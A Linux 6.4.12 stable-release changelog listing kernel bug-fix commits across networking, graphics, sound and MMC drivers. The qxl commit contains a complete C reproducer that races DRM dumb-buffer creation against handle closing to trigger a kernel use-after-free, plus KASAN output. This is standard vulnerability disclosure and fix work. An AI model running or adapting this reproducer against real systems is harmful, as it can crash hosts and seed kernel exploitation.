commit 05d8970cca014b96c06c3730ae084f08087f13dd Author: Greg Kroah-Hartman Date: Wed Aug 23 17:32:56 2023 +0200 Linux 6.4.12 Link: https://lore.kernel.org/r/20230821194128.754601642@linuxfoundation.org Tested-by: Ronald Warsow Tested-by: Joel Fernandes (Google) Tested-by: Bagas Sanjaya Tested-by: Ron Economos Tested-by: Linux Kernel Functional Testing Tested-by: SeongJae Park Tested-by: Andrei Rabusov Tested-by: Shuah Khan Tested-by: Justin M. Forbes Tested-by: Salvatore Bonaccorso Tested-by: Allen Pais Tested-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman commit b237550e1f1bd1bd5f5e76af7a426e79c83fe71a Author: Jason Xing Date: Fri Aug 11 10:37:47 2023 +0800 net: fix the RTO timer retransmitting skb every 1ms if linear option is enabled commit e4dd0d3a2f64b8bd8029ec70f52bdbebd0644408 upstream. In the real workload, I encountered an issue which could cause the RTO timer to retransmit the skb per 1ms with linear option enabled. The amount of lost-retransmitted skbs can go up to 1000+ instantly. The root cause is that if the icsk_rto happens to be zero in the 6th round (which is the TCP_THIN_LINEAR_RETRIES value), then it will always be zero due to the changed calculation method in tcp_retransmit_timer() as follows: icsk->icsk_rto = min(icsk->icsk_rto << 1, TCP_RTO_MAX); Above line could be converted to icsk->icsk_rto = min(0 << 1, TCP_RTO_MAX) = 0 Therefore, the timer expires so quickly without any doubt. I read through the RFC 6298 and found that the RTO value can be rounded up to a certain value, in Linux, say TCP_RTO_MIN as default, which is regarded as the lower bound in this patch as suggested by Eric. Fixes: 36e31b0af587 ("net: TCP thin linear timeouts") Suggested-by: Eric Dumazet Signed-off-by: Jason Xing Reviewed-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman commit 4a3fcfc3b51796e5e6974041c9a7cf7808d16f9e Author: Kuniyuki Iwashima Date: Mon Aug 21 10:55:05 2023 -0700 af_unix: Fix null-ptr-deref in unix_stream_sendpage(). Bing-Jhong Billy Jheng reported null-ptr-deref in unix_stream_sendpage() with detailed analysis and a nice repro. unix_stream_sendpage() tries to add data to the last skb in the peer's recv queue without locking the queue. If the peer's FD is passed to another socket and the socket's FD is passed to the peer, there is a loop between them. If we close both sockets without receiving FD, the sockets will be cleaned up by garbage collection. The garbage collection iterates such sockets and unlinks skb with FD from the socket's receive queue under the queue's lock. So, there is a race where unix_stream_sendpage() could access an skb locklessly that is being released by garbage collection, resulting in use-after-free. To avoid the issue, unix_stream_sendpage() must lock the peer's recv queue. Note the issue does not exist in 6.5+ thanks to the recent sendpage() refactoring. This patch is originally written by Linus Torvalds. BUG: unable to handle page fault for address: ffff988004dd6870 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 P4D 0 PREEMPT SMP PTI CPU: 4 PID: 297 Comm: garbage_uaf Not tainted 6.1.46 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:kmem_cache_alloc_node+0xa2/0x1e0 Code: c0 0f 84 32 01 00 00 41 83 fd ff 74 10 48 8b 00 48 c1 e8 3a 41 39 c5 0f 85 1c 01 00 00 41 8b 44 24 28 49 8b 3c 24 48 8d 4a 40 <49> 8b 1c 06 4c 89 f0 65 48 0f c7 0f 0f 94 c0 84 c0 74 a1 41 8b 44 RSP: 0018:ffffc9000079fac0 EFLAGS: 00000246 RAX: 0000000000000070 RBX: 0000000000000005 RCX: 000000000001a284 RDX: 000000000001a244 RSI: 0000000000400cc0 RDI: 000000000002eee0 RBP: 0000000000400cc0 R08: 0000000000400cc0 R09: 0000000000000003 R10: 0000000000000001 R11: 0000000000000000 R12: ffff888003970f00 R13: 00000000ffffffff R14: ffff988004dd6800 R15: 00000000000000e8 FS: 00007f174d6f3600(0000) GS:ffff88807db00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffff988004dd6870 CR3: 00000000092be000 CR4: 00000000007506e0 PKRU: 55555554 Call Trace: ? __die_body.cold+0x1a/0x1f ? page_fault_oops+0xa9/0x1e0 ? fixup_exception+0x1d/0x310 ? exc_page_fault+0xa8/0x150 ? asm_exc_page_fault+0x22/0x30 ? kmem_cache_alloc_node+0xa2/0x1e0 ? __alloc_skb+0x16c/0x1e0 __alloc_skb+0x16c/0x1e0 alloc_skb_with_frags+0x48/0x1e0 sock_alloc_send_pskb+0x234/0x270 unix_stream_sendmsg+0x1f5/0x690 sock_sendmsg+0x5d/0x60 ____sys_sendmsg+0x210/0x260 ___sys_sendmsg+0x83/0xd0 ? kmem_cache_alloc+0xc6/0x1c0 ? avc_disable+0x20/0x20 ? percpu_counter_add_batch+0x53/0xc0 ? alloc_empty_file+0x5d/0xb0 ? alloc_file+0x91/0x170 ? alloc_file_pseudo+0x94/0x100 ? __fget_light+0x9f/0x120 __sys_sendmsg+0x54/0xa0 do_syscall_64+0x3b/0x90 entry_SYSCALL_64_after_hwframe+0x69/0xd3 RIP: 0033:0x7f174d639a7d Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 8a c1 f4 ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 de c1 f4 ff 48 RSP: 002b:00007ffcb563ea50 EFLAGS: 00000293 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f174d639a7d RDX: 0000000000000000 RSI: 00007ffcb563eab0 RDI: 0000000000000007 RBP: 00007ffcb563eb10 R08: 0000000000000000 R09: 00000000ffffffff R10: 00000000004040a0 R11: 0000000000000293 R12: 00007ffcb563ec28 R13: 0000000000401398 R14: 0000000000403e00 R15: 00007f174d72c000 Fixes: 869e7c62486e ("net: af_unix: implement stream sendpage support") Reported-by: Bing-Jhong Billy Jheng Reviewed-by: Bing-Jhong Billy Jheng Co-developed-by: Linus Torvalds Signed-off-by: Linus Torvalds Signed-off-by: Kuniyuki Iwashima Signed-off-by: Greg Kroah-Hartman commit cdd01bada2735ec0e33b330d2a5455528e3c6b1e Author: Ranjani Sridharan Date: Tue Aug 8 14:06:27 2023 +0300 ASoC: SOF: intel: hda: Clean up link DMA for IPC3 during stop commit 90219f1bd273055f1dc1d7bdc0965755b992c045 upstream. With IPC3, we reset hw_params during the stop trigger, so we should also clean up the link DMA during the stop trigger. Fixes: 1bf83fa6654c ("ASoC: SOF: Intel: hda-dai: Do not perform DMA cleanup during stop") Closes: https://github.com/thesofproject/linux/issues/4455 Closes: https://github.com/thesofproject/linux/issues/4482 Closes: https://bugzilla.kernel.org/show_bug.cgi?id=217673 Signed-off-by: Ranjani Sridharan Reviewed-by: Pierre-Louis Bossart Reviewed-by: Rander Wang Reviewed-by: Péter Ujfalusi Reviewed-by: Guennadi Liakhovetski Reviewed-by: Bard Liao Signed-off-by: Peter Ujfalusi Link: https://lore.kernel.org/r/20230808110627.32375-1-peter.ujfalusi@linux.intel.com Signed-off-by: Mark Brown Signed-off-by: Jaroslav Kysela Signed-off-by: Greg Kroah-Hartman commit c1fc26cc6637cf55e995469a90b5d0c10129897f Author: Arnaldo Carvalho de Melo Date: Tue Aug 1 18:42:47 2023 -0300 Revert "perf report: Append inlines to non-DWARF callchains" commit c0b067588a4836b762cfc6a4c83f122ca1dbb93a upstream. This reverts commit 46d21ec067490ab9cdcc89b9de5aae28786a8b8e. The tests were made with a specific workload, further tests on a recently updated fedora 38 system with a system wide perf.data file shows 'perf report' taking excessive time resolving inlines in vmlinux, so lets revert this until a full investigation and improvement on the addr2line support code is made. Reported-by: Jesper Dangaard Brouer Acked-by: Artem Savkov Tested-by: Jesper Dangaard Brouer Cc: Andrii Nakryiko Cc: Namhyung Kim Cc: Adrian Hunter Cc: Alexander Shishkin Cc: Ian Rogers Cc: Ingo Molnar Cc: Jiri Olsa Cc: Mark Rutland Cc: Masami Hiramatsu Cc: Milian Wolff Cc: Peter Zijlstra Link: https://lore.kernel.org/r/ZMl8VyhdwhClTM5g@kernel.org Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Greg Kroah-Hartman commit 5b62847596566617f1e7fa1d31a791f0a97b8e46 Author: Guchun Chen Date: Thu May 25 17:24:31 2023 +0800 drm/amdgpu: keep irq count in amdgpu_irq_disable_all commit 8ffd6f0442674f32c048ec8dffdbc5ec67829beb upstream. This can clean up all irq warnings because of unbalanced amdgpu_irq_get/put when unplugging/unbinding device, and leave irq count decrease in each ip fini function. Signed-off-by: Guchun Chen Reviewed-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit 6ccbdc0a018ec4095c0f27cb2a386bcef3e0d6e6 Author: Tim Huang Date: Thu Jul 27 09:59:45 2023 +0800 drm/amd/pm: skip the RLC stop when S0i3 suspend for SMU v13.0.4/11 commit 730d44e1fa306a20746ad4a85da550662aed9daa upstream. For SMU v13.0.4/11, driver does not need to stop RLC for S0i3, the firmwares will handle that properly. Signed-off-by: Tim Huang Reviewed-by: Mario Limonciello Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit 04ee31fb4861b8f8cd98bcc100574f0cfed0c8c2 Author: Daniel Miess Date: Wed Jun 7 11:11:44 2023 -0400 drm/amd/display: disable RCO for DCN314 commit 85e41f1ed5d94a26fe4e57003c399936d291ed70 upstream. [Why] RCO is causing error messages on some DCN314 systems [How] Force disable RCO for DCN314 Fixes: 17fbdbda9cc8 ("drm/amd/display: Enable dcn314 DPP RCO") Reviewed-by: Nicholas Kazlauskas Acked-by: Hamza Mahfooz Signed-off-by: Daniel Miess Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit 0469cd57d5dab5b15785102fe53ffc5d2d544019 Author: Arnd Bergmann Date: Fri Jun 2 14:44:39 2023 +0200 ASoC: amd: vangogh: select CONFIG_SND_AMD_ACP_CONFIG commit 812a05256d673b2b9c5db906775d1e6625ba4787 upstream. The vangogh driver just gained a link time dependency that now causes randconfig builds to fail: x86_64-linux-ld: sound/soc/amd/vangogh/pci-acp5x.o: in function `snd_acp5x_probe': pci-acp5x.c:(.text+0xbb): undefined reference to `snd_amd_acp_find_config' Fixes: e89f45edb747e ("ASoC: amd: vangogh: Add check for acp config flags in vangogh platform") Signed-off-by: Arnd Bergmann Link: https://lore.kernel.org/r/20230602124447.863476-1-arnd@kernel.org Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman commit 0fbdf79d003c35d0a3aa4e951016a81dae49d3fd Author: Umio Yasuno Date: Tue Aug 8 06:40:42 2023 +0000 drm/amdgpu/pm: fix throttle_status for other than MP1 11.0.7 commit 6a92761a86817ad15c9a562e2a809386237fae3e upstream. Use the right metrics table version based on the firmware. Link: https://gitlab.freedesktop.org/drm/amd/-/issues/2720 Reviewed-by: Evan Quan Signed-off-by: Umio Yasuno Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman commit 11c187026cce4295e2e7c71981f0a1e3b29ffbe0 Author: Tim Huang Date: Mon Aug 14 15:13:04 2023 +0800 drm/amdgpu: skip fence GFX interrupts disable/enable for S0ix commit f1740b1ab2703b2a057da7cf33b03297e0381aa0 upstream. GFX v11.0.1 reported fence fallback timer expired issue on SDMA and GFX rings after S0ix resume. This is generated by EOP interrupts are disabled when S0ix suspend but fails to re-enable when resume because of the GFX is in GFXOFF. [ 203.349571] [drm] Fence fallback timer expired on ring sdma0 [ 203.349572] [drm] Fence fallback timer expired on ring gfx_0.0.0 [ 203.861635] [drm] Fence fallback timer expired on ring gfx_0.0.0 For S0ix, GFX is in GFXOFF state, avoid to touch the GFX registers to configure the fence driver interrupts for rings that belong to GFX. The interrupts configuration will be restored by GFXOFF exit. Signed-off-by: Tim Huang Reviewed-by: Mario Limonciello Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman commit 333f1edde0ad1700541b20e62c7e4d7be23e771a Author: Mario Limonciello Date: Thu May 18 11:52:51 2023 -0500 drm/amd: flush any delayed gfxoff on suspend entry commit a7b7d9e8aee4f71b4c7151702fd74237b8cef989 upstream. DCN 3.1.4 is reported to hang on s2idle entry if graphics activity is happening during entry. This is because GFXOFF was scheduled as delayed but RLC gets disabled in s2idle entry sequence which will hang GFX IP if not already in GFXOFF. To help this problem, flush any delayed work for GFXOFF early in s2idle entry sequence to ensure that it's off when RLC is changed. commit 4b31b92b143f ("drm/amdgpu: complete gfxoff allow signal during suspend without delay") modified power gating flow so that if called in s0ix that it ensured that GFXOFF wasn't put in work queue but instead processed immediately. This is dead code due to commit 10cb67eb8a1b ("drm/amdgpu: skip CG/PG for gfx during S0ix") because GFXOFF will now not be explicitly called as part of the suspend entry code. Remove that dead code. Signed-off-by: Mario Limonciello Signed-off-by: Tim Huang Reviewed-by: Lijo Lazar Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman commit fcb4a0bd819b87646fb8f6318a817bcd73c9b9d5 Author: Jani Nikula Date: Thu Aug 3 15:27:06 2023 +0300 drm/i915/sdvo: fix panel_type initialization commit 2002eb6d3ea954dde9f8a223018d5335779937d0 upstream. Commit 3f9ffce5765d ("drm/i915: Do panel VBT init early if the VBT declares an explicit panel type") started using -1 as the value for unset panel_type. It gets initialized in intel_panel_init_alloc(), but the SDVO code never calls it. Call intel_panel_init_alloc() to initialize the panel, including the panel_type. Reported-by: Tomi Leppänen Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8896 Fixes: 3f9ffce5765d ("drm/i915: Do panel VBT init early if the VBT declares an explicit panel type") Cc: Ville Syrjälä Cc: # v6.1+ Reviewed-by: Uma Shankar Tested-by: Tomi Leppänen Signed-off-by: Jani Nikula Link: https://patchwork.freedesktop.org/patch/msgid/20230803122706.838721-1-jani.nikula@intel.com (cherry picked from commit 26e60294e8eacedc8ebb33405b2c375fd80e0900) Signed-off-by: Rodrigo Vivi Signed-off-by: Greg Kroah-Hartman commit 19a213d106a17b545cd5e5b7893bc269f01d5f20 Author: Alex Deucher Date: Tue Aug 15 17:25:37 2023 -0400 Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0"" commit 6ecc10295abb2fdd9c21dd17b34e4cacfd829cd4 upstream. This reverts commit 27dd79c00aeab36cd7542c7a4481a32549038659. It appears MPC_SPLIT_DYNAMIC still causes problems with multiple displays on DCN2.0 hardware. Switch back to MPC_SPLIT_AVOID_MULT_DISP. This increases power usage with multiple displays, but avoids hangs. Link: https://gitlab.freedesktop.org/drm/amd/-/issues/2475 Cc: Rodrigo Siqueira Reviewed-by: Harry Wentland Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org # 6.4.x Signed-off-by: Greg Kroah-Hartman commit d3ffc25912d6ff4dc061cfca9d23598a19b1ba03 Author: Jani Nikula Date: Tue Aug 15 13:19:07 2023 +0300 Revert "drm/edid: Fix csync detailed mode parsing" commit 50b6f2c8297793f7f3315623db78dcff85158e96 upstream. This reverts commit ca62297b2085b5b3168bd891ca24862242c635a1. Commit ca62297b2085 ("drm/edid: Fix csync detailed mode parsing") fixed EDID detailed mode sync parsing. Unfortunately, there are quite a few displays out there that have bogus (zero) sync field that are broken by the change. Zero means analog composite sync, which is not right for digital displays, and the modes get rejected. Regardless, it used to work, and it needs to continue to work. Revert the change. Rejecting modes with analog composite sync was the part that fixed the gitlab issue 8146 [1]. We'll need to get back to the drawing board with that. [1] https://gitlab.freedesktop.org/drm/intel/-/issues/8146 Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8789 Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8930 Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/9044 Fixes: ca62297b2085 ("drm/edid: Fix csync detailed mode parsing") Cc: Ville Syrjälä Cc: dri-devel@lists.freedesktop.org Cc: # v6.4+ Signed-off-by: Jani Nikula Acked-by: Ville Syrjälä Link: https://patchwork.freedesktop.org/patch/msgid/20230815101907.2900768-1-jani.nikula@intel.com Signed-off-by: Greg Kroah-Hartman commit a79aebe5bb68266ce9c7f8714fad166a3216460d Author: Wander Lairson Costa Date: Mon Aug 14 13:51:19 2023 -0300 drm/qxl: fix UAF on handle creation commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream. qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it. A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario. Reproducer: int dri_fd =-1; struct drm_mode_create_dumb arg = {0}; void gem_close(int handle); void* trigger(void* ptr) { int ret; arg.width = arg.height = 0x20; arg.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg); if(ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } gem_close(arg.handle); while(1) { struct drm_mode_create_dumb args = {0}; args.width = args.height = 0x20; args.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args); if (ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle); gem_close(args.handle); } return NULL; } void gem_close(int handle) { struct drm_gem_close args; args.handle = handle; int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle if (!ret) printf("gem close handle %d\n", args.handle); } int main(void) { dri_fd= open("/dev/dri/card0", O_RDWR); printf("fd:%d\n", dri_fd); if(dri_fd == -1) return -1; pthread_t tid1; if(pthread_create(&tid1,NULL,trigger,NULL)){ perror("[*] thread_create tid1\n"); return -1; } while (1) { gem_close(arg.handle); } return 0; } This is a KASAN report: ================================================================== BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515 CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48 RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7 RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003 RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000 Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 The buggy address belongs to the object at ffff88801136c000 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400) The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Disabling lock debugging due to kernel taint Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally. The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940). Link: https://www.zerodayinitiative.com/ Signed-off-by: Wander Lairson Costa Cc: stable@vger.kernel.org Reviewed-by: Dave Airlie Signed-off-by: Dave Airlie Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com Signed-off-by: Greg Kroah-Hartman commit 5c10ce0d815feba03fca84d74c97499f6e223a34 Author: Harshit Mogalapalli Date: Wed Aug 9 00:18:11 2023 -0700 mmc: sunplus: Fix error handling in spmmc_drv_probe() commit cf3f15b8c6601c1dc70f85949788ee993dd9a439 upstream. When mmc allocation succeeds, the error paths are not freeing mmc. Fix the above issue by changing mmc_alloc_host() to devm_mmc_alloc_host() to simplify the error handling. Remove label 'probe_free_host' as devm_* api takes care of freeing, also remove mmc_free_host() from remove function as devm_* takes care of freeing. Fixes: 4e268fed8b18 ("mmc: Add mmc driver for Sunplus SP7021") Reported-by: Dan Carpenter Closes: https://lore.kernel.org/all/a3829ed3-d827-4b9d-827e-9cc24a3ec3bc@moroto.mountain/ Signed-off-by: Harshit Mogalapalli Reviewed-by: Dan Carpenter Cc: stable@vger.kernel.org Link: https://lore.kernel.org/r/20230809071812.547229-1-harshit.m.mogalapalli@oracle.com Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit 741a951f41929f39cae70c66d86d0754d3129d0a Author: Wei Chen Date: Thu Jun 22 09:02:33 2023 +0000 mmc: sunplus: fix return value check of mmc_add_host() commit dce6d8f985fa1ef5c2af47f4f86ea65511b78656 upstream. mmc_add_host() may return error, if we ignore its return value, 1. the memory allocated in mmc_alloc_host() will be leaked 2. null-ptr-deref will happen when calling mmc_remove_host() in remove function spmmc_drv_remove() because deleting not added device. Fix this by checking the return value of mmc_add_host(). Moreover, I fixed the error handling path of spmmc_drv_probe() to clean up. Fixes: 4e268fed8b18 ("mmc: Add mmc driver for Sunplus SP7021") Cc: stable@vger.kernel.org Signed-off-by: Wei Chen Link: https://lore.kernel.org/r/20230622090233.188539-1-harperchen1110@gmail.com Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit 43a181a53c1af4d573765e7652d3b8cc907d64ba Author: Yibin Ding Date: Wed Aug 2 10:30:23 2023 +0800 mmc: block: Fix in_flight[issue_type] value error commit 4b430d4ac99750ee2ae2f893f1055c7af1ec3dc5 upstream. For a completed request, after the mmc_blk_mq_complete_rq(mq, req) function is executed, the bitmap_tags corresponding to the request will be cleared, that is, the request will be regarded as idle. If the request is acquired by a different type of process at this time, the issue_type of the request may change. It further caused the value of mq->in_flight[issue_type] to be abnormal, and a large number of requests could not be sent. p1: p2: mmc_blk_mq_complete_rq blk_mq_free_request blk_mq_get_request blk_mq_rq_ctx_init mmc_blk_mq_dec_in_flight mmc_issue_type(mq, req) This strategy can ensure the consistency of issue_type before and after executing mmc_blk_mq_complete_rq. Fixes: 81196976ed94 ("mmc: block: Add blk-mq support") Cc: stable@vger.kernel.org Signed-off-by: Yibin Ding Acked-by: Adrian Hunter Link: https://lore.kernel.org/r/20230802023023.1318134-1-yunlong.xing@unisoc.com Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit 62507bca734fa398ed9bc6cfa2c2d78a417eb747 Author: Yang Yingliang Date: Mon Aug 7 20:44:42 2023 +0800 mmc: wbsd: fix double mmc_free_host() in wbsd_init() commit d83035433701919ac6db15f7737cbf554c36c1a6 upstream. mmc_free_host() has already be called in wbsd_free_mmc(), remove the mmc_free_host() in error path in wbsd_init(). Fixes: dc5b9b50fc9d ("mmc: wbsd: fix return value check of mmc_add_host()") Signed-off-by: Yang Yingliang Cc: stable@vger.kernel.org Link: https://lore.kernel.org/r/20230807124443.3431366-1-yangyingliang@huawei.com Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit 